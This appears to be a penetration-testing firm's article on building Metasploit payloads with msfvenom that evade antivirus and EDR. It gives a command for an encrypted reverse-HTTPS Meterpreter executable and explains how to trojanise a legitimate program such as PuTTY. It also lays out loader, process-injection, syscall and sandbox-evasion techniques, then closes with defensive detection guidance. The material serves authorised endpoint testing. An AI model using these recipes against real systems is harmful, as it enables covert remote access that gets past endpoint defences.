> msfvenom -p windows/x64/meterpreter/reverse_https --encrypt aes256 -f exe && echo 'just the beginning'_
Generate a default Meterpreter executable with msfvenom. Drop it on a fully patched Windows 11 system with Defender enabled. It's quarantined before it executes — often before the file is fully written to disk. The payload's byte signature has been in every antivirus database for years. The behavioural pattern — a small binary that allocates executable memory, decrypts a second stage, and initiates an outbound connection — is flagged by every modern EDR product.
This is working as intended. Default Metasploit payloads should be detected — they're the baseline that endpoint security is built to catch. The question for a penetration tester isn't whether the default payload works. It's whether the organisation's security stack catches a payload that's been customised, encoded, encrypted, and delivered through a non-standard mechanism. Testing with default payloads tests the lowest bar. Testing with crafted payloads tests the actual resilience of the endpoint protection.
This article covers the full payload crafting pipeline — from basic msfvenom generation through encoding, encryption, custom templates, and the techniques that move beyond what msfvenom alone can achieve. Each layer adds evasion capability. Each layer also adds complexity. The art is knowing which layers are necessary for the target environment.
Payload crafting and antivirus evasion techniques must only be used during authorised penetration tests with explicit written scope that includes endpoint security testing. These techniques exist to test whether an organisation's security controls work — not to bypass them maliciously. Unauthorised use is illegal under the Computer Misuse Act 1990 (UK), the Computer Fraud and Abuse Act (US), and equivalent legislation globally.
A Metasploit payload goes through several stages between generation and execution on the target. Each stage is an opportunity to modify the payload — and each modification changes the payload's signature, behaviour, or delivery mechanism in ways that affect detection.
| Stage | What Happens | Evasion Opportunity |
|---|---|---|
| 1. Shellcode generation | The raw payload bytes are generated by msfvenom. This is the functional code — the instructions that create the network connection, spawn the shell, or load Meterpreter. |
Choice of payload type (staged vs stageless), communication method (TCP, HTTPS, DNS), and architecture (x86, x64). Each choice produces different byte patterns. |
| 2. Encoding | The shellcode is transformed by an encoder — XOR, polymorphic substitution, or other algorithms — to change its byte signature without changing its functionality. A decoder stub is prepended. | Multiple encoding passes, chained encoders, and custom encoding keys change the static signature. But the decoder stub itself becomes a signature. |
| 3. Encryption | The encoded payload is encrypted with AES, RC4, or XOR. A decryption routine is embedded. The payload is decrypted in memory at execution time. | Encrypted payloads are opaque to static analysis — the scanner sees ciphertext, not shellcode. Decryption only occurs in memory, avoiding disk-based signature matching. |
| 4. Packaging | The payload is packaged into a delivery format: executable (.exe), dynamic library (.dll), script (PowerShell, VBS, HTA), document macro, or raw shellcode for injection into a custom loader. | The format determines what the security product sees. An executable is scanned by AV. A script may be scanned by AMSI. Raw shellcode loaded by a custom binary may avoid both — if the loader itself isn't detected. |
| 5. Delivery | The packaged payload reaches the target: via phishing email, file upload vulnerability, USB drop, web download, or manual placement during physical access. | The delivery method determines which security layers the payload must survive: email gateway, web proxy, browser sandbox, download scanning, and endpoint protection — each with different detection capabilities. |
| 6. Execution | The payload runs on the target. The decryption routine decrypts the shellcode in memory. The shellcode executes — allocating memory, establishing the connection, and spawning the agent. | In-memory execution avoids disk scanning. Process injection hides the payload inside a legitimate process. Delayed execution may evade sandbox analysis that only monitors the first few seconds. |
| Flag | Purpose | Example |
|---|---|---|
-p |
Select the payload. Platform/architecture/type/handler. | -p windows/x64/meterpreter/reverse_https |
-f |
Output format. Determines the packaging: exe, dll, elf, raw, ps1, python, csharp, vba, hta-psh. | -f exe for executable, -f raw for shellcode, -f csharp for C# byte array |
-e |
Select encoder. Transforms the shellcode to change its signature. | -e x64/xor_dynamic |
-i |
Encoding iterations. Number of times the encoder is applied. Each pass changes the signature further. | -i 5 for five encoding passes |
-b |
Bad characters. Bytes that must not appear in the output — critical for exploit development where certain bytes break the exploit chain. | -b '\x00\x0a\x0d' (null, newline, carriage return) |
--encrypt |
Encrypt the payload. Adds a decryption layer that executes at runtime. | --encrypt aes256 --encrypt-key secretkey123456! |
-x |
Custom template. Embeds the payload inside a legitimate executable — the payload rides inside a real application. | -x /path/to/putty.exe |
-k |
Keep template behaviour. When used with -x, the original executable runs normally while the payload executes in a separate thread. |
-x putty.exe -k — PuTTY opens normally, payload runs in background |
--platform / -a |
Target platform and architecture. Ensures the payload matches the target OS and CPU. | --platform windows -a x64 |
Encoding transforms the payload's byte sequence using a reversible algorithm — XOR, additive feedback, polymorphic substitution — so that the encoded output doesn't match known signatures. A small decoder stub is prepended to the encoded payload. At execution, the decoder stub runs first, decodes the payload in memory, and passes control to the decoded shellcode.
Encoding alone is no longer sufficient to bypass modern endpoint protection. In 2015, five passes of shikata_ga_nai evaded most AV products. In 2025, the decoder stubs themselves are signatured, the behavioural patterns are flagged by EDR regardless of the byte signature, and AMSI inspects scripts in memory before execution. Encoding is a necessary layer — it changes the static signature — but it's one layer in a multi-layer approach. Relying on encoding alone against a modern EDR product will fail.
Encryption wraps the payload in a cryptographic envelope. The encrypted payload is opaque to static analysis — the scanner sees ciphertext, not shellcode or decoder stubs. At execution, a decryption routine embedded in the binary decrypts the payload in memory and passes control to it.
The combined approach — encode first, then encrypt — provides two layers: the encryption defeats static signature scanning (the scanner can't see the payload bytes), and the encoding provides a secondary layer that activates after decryption but before the raw shellcode is exposed in memory. Against products that perform in-memory scanning after decryption, this two-layer approach forces the scanner to detect both the decryption event and the decoded payload — each of which can be further obfuscated.
The -x flag embeds the payload inside an existing legitimate executable. Instead of generating a standalone binary that contains nothing but payload code — an obvious red flag for any security product — the output is a functional application that happens to also execute the payload.
Custom templates have practical limitations: the -k flag doesn't work reliably with all executables, particularly those with complex initialisation sequences or integrity checks. Signed executables will lose their digital signature when modified, which some EDR products flag. And the injected code section is detectable by products that compare the binary's PE structure against the known-good original. Despite these limitations, template injection remains effective against environments that rely primarily on signature-based detection.
Against modern EDR products — CrowdStrike Falcon, SentinelOne, Microsoft Defender for Endpoint — msfvenom's built-in encoding and encryption often isn't sufficient. The behavioural signatures (memory allocation patterns, API call sequences, network connection behaviour) are detected regardless of the byte-level obfuscation. This is where the payload crafting moves beyond msfvenom and into custom loader development.
| Technique | How It Works | Effectiveness Against Modern EDR |
|---|---|---|
| Custom shellcode loader | Write a bespoke executable (in C, C#, Rust, or Go) that contains the encrypted Metasploit shellcode as a byte array. The loader decrypts the shellcode at runtime and executes it in memory — using API calls that differ from Metasploit's default patterns. | High. The loader's binary is unique — no existing signature matches it. The API call sequence can be varied to avoid behavioural detection. The shellcode is encrypted until execution. Most effective approach against modern EDR. |
| Process injection | Instead of running the payload in its own process, inject the shellcode into a legitimate running process (e.g. explorer.exe, svchost.exe). The payload runs inside a trusted process, inheriting its reputation and permissions. |
Moderate-high. Effective against products that evaluate process reputation. Detected by products that monitor for injection techniques (VirtualAllocEx, WriteProcessMemory, CreateRemoteThread). Variant techniques (early bird injection, process hollowing, thread hijacking) vary in detection rate. |
| Reflective DLL injection | Load a DLL entirely in memory without using the Windows loader (LoadLibrary). The DLL maps itself into memory, resolves its own imports, and executes — without appearing in the process's loaded module list. | Moderate. This is how Meterpreter itself loads. Widely detected by modern EDR products that monitor for reflective loading patterns. Still effective against legacy AV products. |
| Syscall-based execution | Instead of calling Windows API functions (which EDR hooks and monitors), invoke the underlying system calls (syscalls) directly. Bypasses userland hooks that EDR products use to intercept API calls. | High. Directly addresses the mechanism most EDR products use for behavioural detection. Requires detailed knowledge of Windows internals. Tools like SysWhispers automate syscall stub generation. |
| Sleep-based evasion | The payload sleeps for an extended period (30–120 seconds) before executing. Automated sandbox analysis typically monitors for only 15–60 seconds before classifying the file. The payload does nothing during the analysis window and activates after the sandbox has released it. | Moderate. Effective against time-limited sandboxes. Ineffective against EDR that monitors at runtime regardless of delay. Some sandboxes detect and skip sleep calls. |
| Environmental keying | The payload checks for a specific environmental condition before executing: a hostname, a domain name, a running process, a registry key. If the condition isn't met — indicating a sandbox or analysis environment — the payload exits without executing. | Moderate-high. Prevents analysis in generic sandbox environments. The payload only executes on the intended target. Requires pre-engagement reconnaissance to identify suitable environmental keys. |
The purpose of testing payload evasion during a pen test isn't to embarrass the security team or prove that Defender can be bypassed. It's to answer a critical question: at which layer does your security stack detect a motivated attacker? The answer determines which investments produce the greatest defensive improvement.
| If Detection Fails At... | What It Tells You | Recommended Investment |
|---|---|---|
| Static signature scanning — encoded or encrypted payloads evade detection on disk | The endpoint product relies primarily on signature matching. Encoded or encrypted payloads will bypass it. Any attacker who invests minimal effort in obfuscation will evade this layer. | Ensure the endpoint product has behavioural detection enabled, not just signature scanning. Evaluate whether the product's EDR capabilities are active and properly configured. |
| Behavioural analysis — the payload executes and establishes a connection without detection | The EDR's behavioural engine isn't detecting the payload's execution pattern — memory allocation, decryption, and outbound connection. This is a more significant gap than signature evasion. | Review EDR configuration. Enable all behavioural detection modules. Consider whether the product is the right choice for the threat model. Test with the vendor's support to tune detection rules. |
| Network detection — the callback to the attacker succeeds without alerting the SOC | Outbound connections to unknown destinations aren't being monitored or flagged. HTTPS payloads over port 443 are blending with legitimate traffic. | Implement TLS inspection on the proxy. Deploy DNS monitoring for anomalous queries. Configure the SIEM to alert on outbound connections from servers to uncategorised destinations. |
| Post-exploitation detection — the attacker operates freely after initial access | The SOC and EDR aren't detecting post-exploitation activity: credential harvesting, lateral movement, privilege escalation. The initial compromise succeeded and nothing caught the subsequent actions. | Deploy detection rules for specific post-exploitation techniques: DCSync (Event ID 4662), Kerberoasting (Event ID 4769 with RC4), named pipe creation (Event ID 7045), and lateral movement via PsExec/WMI. |
Default Metasploit payloads are detected by every modern security product — and they should be. The real test of endpoint security isn't whether it catches the default payload. It's whether it catches a payload that's been encoded, encrypted, embedded in a custom template, delivered through a non-standard mechanism, and executed using techniques designed to evade behavioural detection.
The payload crafting pipeline — from raw shellcode through encoding, encryption, custom templates, and bespoke loaders — represents a spectrum of attacker effort. Each layer increases the evasion capability and the complexity. The question for the organisation is: at which point on this spectrum does your security stack detect the payload? If the answer is "at the default payload" — you're only protected against the lowest-effort attacker. If the answer is "at the custom loader with syscall execution" — your security stack is robust against all but the most sophisticated adversaries.
Understanding payload crafting isn't about building the perfect undetectable payload — it's about understanding the detection boundaries of the organisation's security investments and making informed decisions about where to improve them.
Our assessments include custom payload crafting and endpoint evasion testing — reporting where your detection layers succeed and where they need strengthening, so your security investments protect against motivated attackers, not just automated scanners.